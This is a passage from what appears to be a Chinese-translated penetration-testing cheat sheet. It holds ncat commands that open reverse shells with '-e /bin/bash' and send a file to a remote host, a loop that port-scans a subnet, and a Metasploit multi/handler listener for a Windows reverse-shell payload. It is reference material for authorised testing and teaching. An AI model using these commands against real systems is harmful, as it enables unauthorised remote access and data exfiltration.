192.168.8.5 9000 < sent_data.txt ncat -nv 192.168.8.5 9000 -e /bin/bash ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem ``` 在我的项目 [ivan-sincek/secure-website](https://github.com/ivan-sincek/secure-website/tree/master/crt) 中了解如何创建 SSL/TLS 证书。 检查是否可以连接到指定的 TCP 端口(例如,端口 22 或 23): ``` for i in {0..255}; do ncat -nv "192.168.8.${i}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done for ip in $(cat ips.txt); do ncat -nv "${ip}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done ``` ### multi/handler 设置监听器(根据需要更改 PAYLOAD、LHOST 和 LPORT): ``` msfconsole -q use exploit/multi/handler set PAYLOAD windows/shell_reverse_tcp set LHOST 192.168.8.185 set LPORT 9000 exploit ``` ### ngrok 使用 [ngrok](https://ngrok.com/download) 为您的本地 Web 服务器提供一个公共地址,但如果 Web 服务器未经过适当的加固,出于安全考虑,请不要将其暴露太久。 我建议您如果信任它,不要通过它传输任何敏感数据。 ### 附加参考 归功于作者! * [book.hacktricks.xyz](https://book.hacktricks.xyz/welcome/readme) * [infosecmatter.com/bug-bounty-tips](https://www.infosecmatter.com/bug-bounty-tips) * [pentestbook.six2dez.com](https://pentestbook.six2dez.com)
标签:CheatSheet, CISA项目, CTI, ffuf, GitHub, Web安全, 内核模块, 安全资源, 密码管理, 应用安全, 插件系统, 数据展示, 日志审计, 渗透测试速查表, 红队, 网络安全, 自动化侦察, 蓝队分析, 逆向工具, 隐私保护